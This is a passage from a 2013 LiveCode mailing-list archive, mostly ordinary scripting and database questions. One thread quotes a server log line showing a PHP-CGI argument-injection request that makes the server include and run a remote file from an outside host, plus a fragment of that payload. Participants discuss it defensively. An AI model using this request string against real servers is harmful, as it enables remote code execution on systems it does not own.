/?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp:// gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" The file ../rf/s.txt contains: The IP point in the middle of nowhere in Russia. and finally I know nothing about php. Thanks for any hints, Regards, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage From dave.cragg at lacscentre.co.uk Fri May 24 06:04:41 2013 From: dave.cragg at lacscentre.co.uk (Dave Cragg) Date: Fri, 24 May 2013 11:04:41 +0100 Subject: randomly order a list In-Reply-To: <519EA93D.7080906@tweedly.net> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> <04124E8B-4616-4077-AF30-16AE94C75068@lacscentre.co.uk> <519EA93D.7080906@tweedly.net> Message-ID: <603E1D18-15C7-4262-82BF-34672D2DEDB9@lacscentre.co.uk> Nice one, Alex. I spent an hour convincing myself that the sA array could contain duplicate elements after the loop, until the penny dropped. Remind me never to play cards if you're shuffling. :-) Dave On 24 May 2013, at 00:41, Alex Tweedly wrote: > > Yes, that's a good shuffle for small data, but a bit slow for larger data sets. I dug out an old function I wrote a few years ago (and converted it to LC); this would be faster for large data sets (time taken grows linearly rather than by the square of the number of lines). > > local sA, sIndex -- filled with random shuffle index, returned one-by-one from fn calls > > function shuffleLines pSource > put empty into tNew > put the number of lines of pSource into tNum > -- fill an array with 'self' numbers > repeat with i = 1 to tNum > put i into tA[i] > end repeat > > repeat with n = tNum down to 1 > put random(n) into tRand > put tA[tRand] into sA[n] > put tA[n] into tA[tRand] > end repeat > put 0 into sIndex > sort lines of pSource by _shuffle() > return pSource > end shuffleLines > > function _shuffle > add 1 to sIndex > return sA[sIndex] > end _shuffle > > -- Alex. > From bvg at mac.com Fri May 24 07:00:01 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Fri, 24 May 2013 13:00:01 +0200 Subject: randomly order a list In-Reply-To: <603E1D18-15C7-4262-82BF-34672D2DEDB9@lacscentre.co.uk> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> <04124E8B-4616-4077-AF30-16AE94C75068@lacscentre.co.uk> <519EA93D.7080906@tweedly.net> <603E1D18-15C7-4262-82BF-34672D2DEDB9@lacscentre.co.uk> Message-ID: <595F5732-5BE7-4A7E-B9C9-0689C957A4A7@mac.com> Seems someone beat us to entering this feature request: http://quality.runrev.com/show_bug.cgi?id=10919 On 24.05.2013, at 12:04, Dave Cragg wrote: > Nice one, Alex. I spent an hour convincing myself that the sA array could contain duplicate elements after the loop, until the penny dropped. Remind me never to play cards if you're shuffling. :-) > > Dave > > On 24 May 2013, at 00:41, Alex Tweedly wrote: > >> >> Yes, that's a good shuffle for small data, but a bit slow for larger data sets. I dug out an old function I wrote a few years ago (and converted it to LC); this would be faster for large data sets (time taken grows linearly rather than by the square of the number of lines). >> >> local sA, sIndex -- filled with random shuffle index, returned one-by-one from fn calls >> >> function shuffleLines pSource >> put empty into tNew >> put the number of lines of pSource into tNum >> -- fill an array with 'self' numbers >> repeat with i = 1 to tNum >> put i into tA[i] >> end repeat >> >> repeat with n = tNum down to 1 >> put random(n) into tRand >> put tA[tRand] into sA[n] >> put tA[n] into tA[tRand] >> end repeat >> put 0 into sIndex >> sort lines of pSource by _shuffle() >> return pSource >> end shuffleLines >> >> function _shuffle >> add 1 to sIndex >> return sA[sIndex] >> end _shuffle >> >> -- Alex. >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From matthias_livecode_150811 at m-r-d.de Fri May 24 07:44:11 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 24 May 2013 13:44:11 +0200 Subject: [OT] server log entry? In-Reply-To: References: Message-ID: <72984E42-94CC-4FEF-8FFF-C74664A2A1D2@m-r-d.de> Hi Thierry, i am not an php expert, but it seems that someone tried to execute a remote php script on your server by adding some parameters to your index.php. But as i said, i am not an expert. But it was definitely an attack. There is a free htaccess firewall available at http://perishablepress.com/5g-blacklist-2012/ I do not know if the firewall stops that attack but it is a really useful protection for your server. Regards, Matthias Am 24.05.2013 um 11:16 schrieb Thierry Douez : > Hi, > > Can someone could help me to understand one of my server log? > > > Here is the line: > > 193.107.17.36 ... "GET > /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp:// > gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" > > The file ../rf/s.txt contains: > > http://gofastdownload.com/rf/s.php?d='.$_SERVER['HTTP_HOST']); exit(0); ?> > > The IP point in the middle of nowhere in Russia. > > and finally I know nothing about php. > > Thanks for any hints, > > Regards, > > Thierry > > ------------------------------------------------ > Thierry Douez - http://sunny-tdz.com > Maker of sunnYperl - sunnYmidi - sunnYmage > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Fri May 24 07:56:38 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 24 May 2013 13:56:38 +0200 Subject: is anyone using FieldTrip Rich Text Editor Message-ID: <2931DAD1-EB3B-451D-8535-F74B4F4AE6BB@m-r-d.de> Hi, is anyone on list using FieldTrip and would like to answer me some questions about the usage? Right now i am experiencing some strange behaviour: 1. ftplaceToolbar places the toolbar and a field to the stack 2. sometimes the toolbar suddenly grays out and is not responsive anymore (IDE and standalone) Is it just me or is anyone else noticing that behaviour? Did you manage to place only some of the FieldTrip buttons(e.g. size, bold, italic, underline) to the stack instead of the whole toolbar? Regards, Matthias From toolbook at kestner.de Fri May 24 08:13:18 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Fri, 24 May 2013 14:13:18 +0200 Subject: How to navigate within a text field? Message-ID: <004c01ce5878$13ada530$3b08ef90$@de> Hello, I have a text field with a small directory at the beginning and several chapters. I would like the user to navigate within the text like in HTML with text marks, clicking on a directory headline brings him to the beginning of the selected chapter. I could use the linktext property, but I am missing a target property as a "text mark" and a "go" to it. (without using HTML and a browser) Is there a better approach as putting each chapter in a separate field and showing and hiding each field with selecting one of the linktexts in the directory? I think there must be a more suitable way to handle this behavior. Any hints? Thank you Tiemo From mcgrath3 at mac.com Fri May 24 08:30:48 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 24 May 2013 08:30:48 -0400 Subject: is anyone using FieldTrip Rich Text Editor In-Reply-To: <2931DAD1-EB3B-451D-8535-F74B4F4AE6BB@m-r-d.de> References: <2931DAD1-EB3B-451D-8535-F74B4F4AE6BB@m-r-d.de> Message-ID: <72C46F6F-30BD-47AB-8868-43886B850622@mac.com> I tried using it but I kept getting "no such object" errors and this stack is password protected in the script editor. So I am not using it. -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 24, 2013, at 7:56 AM, Matthias Rebbe wrote: > Hi, > > is anyone on list using FieldTrip and would like to answer me some questions about the usage? > > Right now i am experiencing some strange behaviour: > 1. ftplaceToolbar places the toolbar and a field to the stack > 2. sometimes the toolbar suddenly grays out and is not responsive anymore (IDE and standalone) > > Is it just me or is anyone else noticing that behaviour? > > Did you manage to place only some of the FieldTrip buttons(e.g. size, bold, italic, underline) > to the stack instead of the whole toolbar? > > Regards, > > Matthias > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From th.douez at gmail.com Fri May 24 09:18:31 2013 From: th.douez at gmail.com (Thierry Douez) Date: Fri, 24 May 2013 15:18:31 +0200 Subject: [OT] server log entry? In-Reply-To: <72984E42-94CC-4FEF-8FFF-C74664A2A1D2@m-r-d.de> References: <72984E42-94CC-4FEF-8FFF-C74664A2A1D2@m-r-d.de> Message-ID: Hallo Matthias, Thanks for the feedback and your link is awesome! Vielen Dank. If someone has some more precise answer, I"m still interested :) Regards, Thierry 2013/5/24 Matthias Rebbe > Hi Thierry, > > i am not an php expert, but it seems that someone tried to execute a > remote php script on your server by adding some parameters to your > index.php. But as i said, i am not an expert. But it was definitely an > attack. > There is a free htaccess firewall available at > > http://perishablepress.com/5g-blacklist-2012/ > > I do not know if the firewall stops that attack but it is a really useful > protection for your server. > > Regards, > > Matthias > > > Am 24.05.2013 um 11:16 schrieb Thierry Douez : > > > Hi, > > > > Can someone could help me to understand one of my server log? > > > > > > Here is the line: > > > > 193.107.17.36 ... "GET > > /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp:// > > gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" > > > > The file ../rf/s.txt contains: > > > > > http://gofastdownload.com/rf/s.php?d='.$_SERVER['HTTP_HOST']); exit(0); > ?> > > > > The IP point in the middle of nowhere in Russia. > > > > and finally I know nothing about php. > > > > Thanks for any hints, > > > > Regards, > > > > Thierry > ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage From dunbarx at aol.com Fri May 24 11:22:54 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 24 May 2013 11:22:54 -0400 (EDT) Subject: How to navigate within a text field? In-Reply-To: <004c01ce5878$13ada530$3b08ef90$@de> References: <004c01ce5878$13ada530$3b08ef90$@de> Message-ID: <8D026A9B2954733-15D0-167C5@webmail-d224.sysops.aol.com> Tiemo. I must be misunderstanding. Why wouldn't this work in the field script: on mouseup get the value of the clickline find whole it in me find whole it in me end mouseup Craig Newman -----Original Message----- From: Tiemo Hollmann TB To: 'How to use LiveCode' Sent: Fri, May 24, 2013 8:14 am Subject: How to navigate within a text field? Hello, I have a text field with a small directory at the beginning and several chapters. I would like the user to navigate within the text like in HTML with text marks, clicking on a directory headline brings him to the beginning of the selected chapter. I could use the linktext property, but I am missing a target property as a "text mark" and a "go" to it. (without using HTML and a browser) Is there a better approach as putting each chapter in a separate field and showing and hiding each field with selecting one of the linktexts in the directory? I think there must be a more suitable way to handle this behavior. Any hints? Thank you Tiemo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From devin_asay at byu.edu Fri May 24 11:27:55 2013 From: devin_asay at byu.edu (Devin Asay) Date: Fri, 24 May 2013 15:27:55 +0000 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> Message-ID: <3BEC35D9-3D9A-411B-BFB8-2C376270F250@byu.edu> On May 23, 2013, at 5:33 PM, Peter Haworth wrote: > On Thu, May 23, 2013 at 2:31 PM, Devin Asay wrote: > >> Thanks, I'll give that a try. Any idea if this might work for records >> containing binary data? I have one table with around 74 MB of data that I >> need to transfer over. > > > Hi Devin, > Not knowing much about your data but allowing for as many gotchas as I can > think like binary data and the need to delimit single/double quotes, etc, I > think I'd be inclined to do this with revQueryDatabase to get a db cursor > and using the "variableslist" format for revExecuteSQL, although it's > easier to use an array that a load of variables. > > It will make the script a bit more complicated but I think you would run > into less problems that way. > > You could have a generic handler that might look something like this > (Untested) with ptable being the name of the table to be loaded and pselect > being the select for the source table. > > > command loadTable ptable,pselect > > local tID,tArray,tNumRecs,tColNames,tValues,tColCount > > put revQueryDatabase(mySQLDBID,pselect) into tID > if tID is not an integer then > answer error ...... > exit loadTable > end if > > put revNumberOfRecords(tID) into tNumRecs > put revDatabaseColumnCount(tID) into tColCount > > put empty into tArray > put "(" into tValues > repeat with x=1 to tColCount > put ":" & x & comma after tValues > end repeat > put ")" into char -1 of tValues > > revExecuteSQL SQLiteDBID,"BEGIN" > > put zero into tColNumber > repeat tNumRecs times > repeat tColCount times > add 1 to tColNumber > get revDatabaseColumnNumbered(tID, tColNumber,tArray[tColNumber]) > end repeat > revExecuteSQL SQLiteDBID,"INSERT INTO VALUES" && > tValues,"tArray" > revMoveToNextRecord(tID) > end repeat > revExecuteSQL SQLiteDBID,"COMMIT" > > end loadTable > > More error checking needed of course, along with a ROLLBACK if any db stuff > fails. Pete, This is immensely helpful. I had worked out a way to do it using revDataFromQuery(), but that meant I had to loop through the data and create my own array, then insert into the SQLite table using INSERT in a loop. I'm going to give it a try. Thanks to Richard, Ruslan and Mark S. for your inputs as well. Devin Devin Asay Office of Digital Humanities Brigham Young University From mcgrath3 at mac.com Fri May 24 11:34:15 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 24 May 2013 11:34:15 -0400 Subject: AnimationEngine pending messages Message-ID: I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pending messages and then a new message keeps coming after a bit. Is there a way to absolutely stop ALL of them that I am missing? I am trying this in my openCard handler but they still seem to stack up. put the pendingmessages into tPendingMsgs repeat for each line x in tPendingMsgs cancel item 1 of x end repeat Thanks Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From devin_asay at byu.edu Fri May 24 11:53:20 2013 From: devin_asay at byu.edu (Devin Asay) Date: Fri, 24 May 2013 15:53:20 +0000 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> Message-ID: On May 23, 2013, at 6:51 PM, Magicgate Software - Skip Kimpel wrote: > Is this a one time event or or does the data have to live in both locations > and a constant synchronization happening? > > SKIP Initially I just need to move all of the data. Going forward I will only have to sync the SQLite database to the MySQL db to keep data up to date. devin Devin Asay Office of Digital Humanities Brigham Young University From alex at tweedly.net Fri May 24 11:56:55 2013 From: alex at tweedly.net (Alex Tweedly) Date: Fri, 24 May 2013 16:56:55 +0100 Subject: AnimationEngine pending messages In-Reply-To: References: Message-ID: <519F8DC7.2050400@tweedly.net> I'd give it a try with the code as in the docs (under cancel) > > repeat until the pendingMessages is empty > cancel item 1 of line 1 of the pendingMessages > end repeat > It might just be that you catch additional timed messages that have triggered while you are inside your loop. What the heck - do that code twice :-) -- delete all outstanding messages repeat until the pendingMessages is empty cancel item 1 of line 1 of the pendingMessages end repeat -- and do it again just for luck repeat until the pendingMessages is empty cancel item 1 of line 1 of the pendingMessages end repeat -- Alex. On 24/05/2013 16:34, Thomas McGrath III wrote: > I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pending messages and then a new message keeps coming after a bit. Is there a way to absolutely stop ALL of them that I am missing? > > I am trying this in my openCard handler but they still seem to stack up. > put the pendingmessages into tPendingMsgs > repeat for each line x in tPendingMsgs > cancel item 1 of x > end repeat > > Thanks > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From toolbook at kestner.de Fri May 24 12:06:43 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Fri, 24 May 2013 18:06:43 +0200 Subject: AW: How to navigate within a text field? In-Reply-To: <8D026A9B2954733-15D0-167C5@webmail-d224.sysops.aol.com> References: <004c01ce5878$13ada530$3b08ef90$@de> <8D026A9B2954733-15D0-167C5@webmail-d224.sysops.aol.com> Message-ID: <005b01ce5898$afcffd80$0f6ff880$@de> Sometimes I don't see the obvious :( Thank you for rearranging my brain Tiemo > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von dunbarx at aol.com > Gesendet: Freitag, 24. Mai 2013 17:23 > An: use-livecode at lists.runrev.com > Betreff: Re: How to navigate within a text field? > > Tiemo. > > > I must be misunderstanding. Why wouldn't this work in the field script: > > > > > on mouseup > get the value of the clickline > find whole it in me > find whole it in me > end mouseup > > > > Craig Newman > > > > -----Original Message----- > From: Tiemo Hollmann TB > To: 'How to use LiveCode' > Sent: Fri, May 24, 2013 8:14 am > Subject: How to navigate within a text field? > > > Hello, > > I have a text field with a small directory at the beginning and several > chapters. I would like the user to navigate within the text like in HTML > with text marks, clicking on a directory headline brings him to the > beginning of the selected chapter. I could use the linktext property, but I > am missing a target property as a "text mark" and a "go" to it. (without > using HTML and a browser) > > Is there a better approach as putting each chapter in a separate field and > showing and hiding each field with selecting one of the linktexts in the > directory? I think there must be a more suitable way to handle this > behavior. > > Any hints? > > Thank you > > Tiemo > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Fri May 24 12:51:12 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 24 May 2013 09:51:12 -0700 Subject: [OT] server log entry? In-Reply-To: References: Message-ID: <519F9A80.9030601@fourthworld.com> Thierry Douez wrote: > Here is the line: > > 193.107.17.36 ... "GET > /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp:// > gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" > > The file ../rf/s.txt contains: > > http://gofastdownload.com/rf/s.php?d='.$_SERVER['HTTP_HOST']); exit(0); ?> > > The IP point in the middle of nowhere in Russia. > > and finally I know nothing about php. ... > If someone has some more precise answer, I"m still interested :) I don't have anything more specific on that, but I find it interesting that it appears to have been successful (result code 200). On most Apache and auth logs you'll find a great many attempts at all sorts of exploits, and most fail simply because the file they're looking for isn't there, or has been adequately protected against such attacks. As a general rule I try to stay current with all server components (MySQL, PHP, any frameworks like Wordpress, Drupal, etc.), and most of the time staying current blocks malicious bots. That said, security is an ongoing process of cat and mouse, and no matter how frequently system components are updated there's always some new exploit being devised and deployed. I don't know enough about Python or your system setup to suggest how to prevent that specific attack, but in general if you move your CGI engines outside of the public HTML folder, lock down permissions as tightly as practical, and religiously sanitize inputs you can greatly minimize such risks. One more thing in favor of LiveCode Server: until LC really takes off we get a minor benefit from "security by obscurity" - that is, it simply isn't worth most attackers' time to target LC because it's seldom used on the Web. Moreover, the LC engine has historically been immune to buffer overruns, so a wide range of potential exploits that have affected other components are very unlikely to affect LC. And being a very readable language, it's often easier to maintain good sanitization practices with LC. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From scott at tactilemedia.com Fri May 24 13:05:49 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 24 May 2013 10:05:49 -0700 Subject: AnimationEngine pending messages In-Reply-To: References: Message-ID: <69332B9F-7562-496D-9A82-35F40351D0A8@tactilemedia.com> May not make a difference, but have you already tried: repeat for each line x in the pendingMessages I'm asking only because I haven't seen message canceling done by putting the messages in a variable first. Regards, Scott Rossi Creative Director Tactile Media, UX Design On May 24, 2013, at 8:34 AM, Thomas McGrath III wrote: > I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pending messages and then a new message keeps coming after a bit. Is there a way to absolutely stop ALL of them that I am missing? > > I am trying this in my openCard handler but they still seem to stack up. > put the pendingmessages into tPendingMsgs > repeat for each line x in tPendingMsgs > cancel item 1 of x > end repeat > > Thanks > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Fri May 24 13:10:09 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Fri, 24 May 2013 18:10:09 +0100 Subject: AnimationEngine pending messages In-Reply-To: <69332B9F-7562-496D-9A82-35F40351D0A8@tactilemedia.com> References: , <69332B9F-7562-496D-9A82-35F40351D0A8@tactilemedia.com> Message-ID: Scott... like on cancelThisMsg tMsg put the pendingmessages into tPendingMsgs IF tMsg is in tPendingMsgs then repeat for each line x in tPendingMsgs if tMsg is in x then cancel item 1 of x end repeat end if end cancelThisMsg from the notes in the dictionary..:-) > Subject: Re: AnimationEngine pending messages > From: scott at tactilemedia.com > Date: Fri, 24 May 2013 10:05:49 -0700 > To: use-livecode at lists.runrev.com > > May not make a difference, but have you already tried: > > repeat for each line x in the pendingMessages > > I'm asking only because I haven't seen message canceling done by putting the messages in a variable first. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX Design > > On May 24, 2013, at 8:34 AM, Thomas McGrath III wrote: > > > I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pending messages and then a new message keeps coming after a bit. Is there a way to absolutely stop ALL of them that I am missing? > > > > I am trying this in my openCard handler but they still seem to stack up. > > put the pendingmessages into tPendingMsgs > > repeat for each line x in tPendingMsgs > > cancel item 1 of x > > end repeat > > > > Thanks > > > > Tom > > > > -- Tom McGrath III > > http://lazyriver.on-rev.com > > mcgrath3 at mac.com > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From th.douez at gmail.com Fri May 24 13:18:34 2013 From: th.douez at gmail.com (Thierry Douez) Date: Fri, 24 May 2013 19:18:34 +0200 Subject: [OT] server log entry? In-Reply-To: <519F9A80.9030601@fourthworld.com> References: <519F9A80.9030601@fourthworld.com> Message-ID: Hi Richard, Thanks for your looong answer :) 2013/5/24 Richard Gaskin > Thierry Douez wrote: > >> Here is the line: >> >> 193.107.17.36 ... "GET >> /?-n+-dallow_url_include%3DOn+**-dauto_prepend_file%3Dhttp:// >> gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" >> >> The file ../rf/s.txt contains: >> >> > http://gofastdownload.com/rf/**s.php?d='.$_SERVER['HTTP_HOST'**]); >> exit(0); >> > ?> > >> >> The IP point in the middle of nowhere in Russia. >> >> and finally I know nothing about php. >> > ... > > If someone has some more precise answer, I"m still interested :) >> > > I don't have anything more specific on that, but I find it interesting > that it appears to have been successful (result code 200). > > On most Apache and auth logs you'll find a great many attempts at all > sorts of exploits, and most fail simply because the file they're looking > for isn't there, or has been adequately protected against such attacks. > Well, in this case, the URI is "/" which is accepted as my home page. And here, it's only the parameters which are obscure to me. Apparently nothing bad happened, but was just trying to understand to maybe add some extra rules to my htaccess file. > As a general rule I try to stay current with all server components (MySQL, > PHP, any frameworks like Wordpress, Drupal, etc.), and most of the time > staying current blocks malicious bots. > Nothing like that here. That said, security is an ongoing process of cat and mouse, and no matter > how frequently system components are updated there's always some new > exploit being devised and deployed. > > I don't know enough about Python or your system setup to suggest how to > prevent that specific attack, but in general if you move your CGI engines > outside of the public HTML folder, lock down permissions as tightly as > practical, and religiously sanitize inputs you can greatly minimize such > risks. > This is how I've organised my web pages and didn't have any problems but still, I keep an eye to the log files.. By the way, 90% of the exploits on my site in one year was against wordpress ! > One more thing in favor of LiveCode Server: until LC really takes off we > get a minor benefit from "security by obscurity" - that is, it simply isn't > worth most attackers' time to target LC because it's seldom used on the Web. > Umm, with the community edition, I guess it's not going to be true forever... "la rancon de la gloire" :) Anyway, next week I'm going to an Open-Source-Linux exhibition in Paris; I'll bring this piece of code and ask to the php stand! Thanks again, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage From ambassador at fourthworld.com Fri May 24 13:21:40 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 24 May 2013 10:21:40 -0700 Subject: [OT] server log entry? In-Reply-To: References: Message-ID: <519FA1A4.7080903@fourthworld.com> Thierry Douez wrote: > Anyway, next week I'm going to an Open-Source-Linux exhibition in Paris; > I'll bring this piece of code and ask to the php stand! Please let us know what your learn. Chances are at least some of that can be helpful in our own ongoing efforts at securing our LiveCode Server installations. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From scott at tactilemedia.com Fri May 24 13:27:49 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 24 May 2013 10:27:49 -0700 Subject: AnimationEngine pending messages In-Reply-To: References: <69332B9F-7562-496D-9A82-35F40351D0A8@tactilemedia.com> Message-ID: <0F12B5B6-D70C-4425-AE7E-54039181ED95@tactilemedia.com> Just because it's in the dictionary doesn't mean I've seen it :-) Regards, Scott Rossi Creative Director Tactile Media, UX Design On May 24, 2013, at 10:10 AM, John Dixon wrote: > Scott... > > like > > on cancelThisMsg tMsg > put the pendingmessages into tPendingMsgs > IF tMsg is in tPendingMsgs then > repeat for each line x in tPendingMsgs > if tMsg is in x then cancel item 1 of x > end repeat > end if > end cancelThisMsg > > from the notes in the dictionary..:-) > >> Subject: Re: AnimationEngine pending messages >> From: scott at tactilemedia.com >> Date: Fri, 24 May 2013 10:05:49 -0700 >> To: use-livecode at lists.runrev.com >> >> May not make a difference, but have you already tried: >> >> repeat for each line x in the pendingMessages >> >> I'm asking only because I haven't seen message canceling done by putting the messages in a variable first. >> >> Regards, >> >> Scott Rossi >> Creative Director >> Tactile Media, UX Design >> >> On May 24, 2013, at 8:34 AM, Thomas McGrath III wrote: >> >>> I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pending messages and then a new message keeps coming after a bit. Is there a way to absolutely stop ALL of them that I am missing? >>> >>> I am trying this in my openCard handler but they still seem to stack up. >>> put the pendingmessages into tPendingMsgs >>> repeat for each line x in tPendingMsgs >>> cancel item 1 of x >>> end repeat >>> >>> Thanks >>> >>> Tom >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> mcgrath3 at mac.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From th.douez at gmail.com Fri May 24 13:33:39 2013 From: th.douez at gmail.com (Thierry Douez) Date: Fri, 24 May 2013 19:33:39 +0200 Subject: [OT] server log entry? In-Reply-To: <519FA1A4.7080903@fourthworld.com> References: <519FA1A4.7080903@fourthworld.com> Message-ID: 2013/5/24 Richard Gaskin > Thierry Douez wrote: > >> Anyway, next week I'm going to an Open-Source-Linux exhibition in Paris; >> I'll bring this piece of code and ask to the php stand! >> > > Please let us know what your learn. Chances are at least some of that can > be helpful in our own ongoing efforts at securing our LiveCode Server > installations. > Sure, I'll come back if I get an answer. And with a bit of luck could even go to the first LiveCode meeting in France (Paris) ! Regards, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage From ben at runrev.com Fri May 24 13:43:28 2013 From: ben at runrev.com (Benjamin Beaumont) Date: Fri, 24 May 2013 18:43:28 +0100 Subject: RELEASE: LiveCode 6.0.2 RC1 Message-ID: Dear Use List, We're please to announce LiveCode 6.0.2 RC1. This is the first build of our first maintenance release cycle. For those who are not familiar with the new process please see the 'release process' section of our contributing to LiveCode document which can be found here: http://livecode.com/community/contribute-to-livecode/# Release Process The following bugs have been fixed in this release: 8884 ?the properties? missing items. 10794 Flagged chars affect visited color of links. 10849 RevBrowser missing from LiveCode Community edition. 10863 Group command doesn't throw an error when grouping shared groups. 10878 Setting the tabWidths causes crashes. 10897 Exporting snapshot from rounded rectangles adds artefacts. 10905 The htmlText uses ?super? instead of ?sup. 10908 The flaggedRanges reports an incorrect values when used with link text. 10910 Crash when using crop command. 10856 - Android answer dialogs displayed on app termination 